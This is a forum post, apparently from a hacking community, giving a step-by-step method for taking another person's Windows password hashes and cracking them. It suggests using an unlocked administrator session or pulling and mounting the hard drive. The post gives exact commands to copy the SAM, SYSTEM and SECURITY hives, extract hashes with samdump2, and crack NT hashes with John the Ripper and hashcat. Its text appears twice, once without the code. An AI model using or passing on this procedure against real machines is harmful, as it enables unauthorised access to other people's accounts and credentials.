Jan 9, 2025 05:05 AM
(This post was last modified: Jan 13, 2025 04:19 AM by Bastille.)
1. Retrieve the SAM and SYSTEM files
![[Image: hHq2pOm.png]](https://i.imgur.com/hHq2pOm.png)
These files are located in the following path:
![[Image: h9nWN9e.png]](https://i.imgur.com/h9nWN9e.png)
Information about the files :
SAM (Security Account Manager)
SYSTEM
SECURITY
2. Approaches to retrieve the files
1. From the Windows machine![[Image: flbt2Kq.png]](https://i.imgur.com/flbt2Kq.png)
You will need to do this from an administrator account, either by having remote access to the machine or physical access to it. For example, this could be possible if the user (who is also an administrator) has not locked their session (a beginner's mistake).
2. From a Linux machine![[Image: JhuO86V.png]](https://i.imgur.com/JhuO86V.png)
You can extract the hard drive if you have physical access to the computer, connect it to your Linux machine, and follow the procedure below:
Lists available disks
"X" is the number you retrieved with the previous command, "lsblk"
To copy the files in your home folder
3. Exract the hash
From the following page : https://manpages.ubuntu.com/manpages/foc...mp2.1.html
Options :
4. Crack the hash
Many options here, the most user-friendly is to use online tools such as :
Or local tools such as :
![[Image: hHq2pOm.png]](https://i.imgur.com/hHq2pOm.png)
These files are located in the following path:
Code
C:\Windows\System32\Config![[Image: h9nWN9e.png]](https://i.imgur.com/h9nWN9e.png)
Information about the files :
SAM (Security Account Manager)
- Contains hashed passwords for local user accounts.
- These hashes are encrypted using a system key stored in the SYSTEM file.
SYSTEM
- Stores configuration and encryption keys for the operatin system.
- Includes the system key needed to decrypt the password hashes in the SAM file.
SECURITY
- Contains local security policy information, such as auditing policies, privileges, and other security-related configurations.
- Not necessary for password recvoery but useful for retrieving other security data.
2. Approaches to retrieve the files
1. From the Windows machine
![[Image: flbt2Kq.png]](https://i.imgur.com/flbt2Kq.png)
You will need to do this from an administrator account, either by having remote access to the machine or physical access to it. For example, this could be possible if the user (who is also an administrator) has not locked their session (a beginner's mistake).
2. From a Linux machine
![[Image: JhuO86V.png]](https://i.imgur.com/JhuO86V.png)
You can extract the hard drive if you have physical access to the computer, connect it to your Linux machine, and follow the procedure below:
Code
lsblkCode
sudo mount /dev/sdXn /mtnCode
cd /mnt/Windows/System32/config
sudo cp SAM SYSTEM SECURITY /home3. Exract the hash
From the following page : https://manpages.ubuntu.com/manpages/foc...mp2.1.html
Code
samdump2 [OPTIONS] SYSTEM_FILE SAM_FILE- -d / enable debugging
- -h / display this help
- -o file_name / write output to file
Code
samdump2 -o extracted_hash.txt SYSTEM SAM4. Crack the hash
Many options here, the most user-friendly is to use online tools such as :
Or local tools such as :
- John The Ripper
Codejohn --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt - HashCat
Codehashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt






![[Image: brotherhood-2026.gif]](https://hackforums.net/images/groupimages/custom/brotherhood-2026.gif)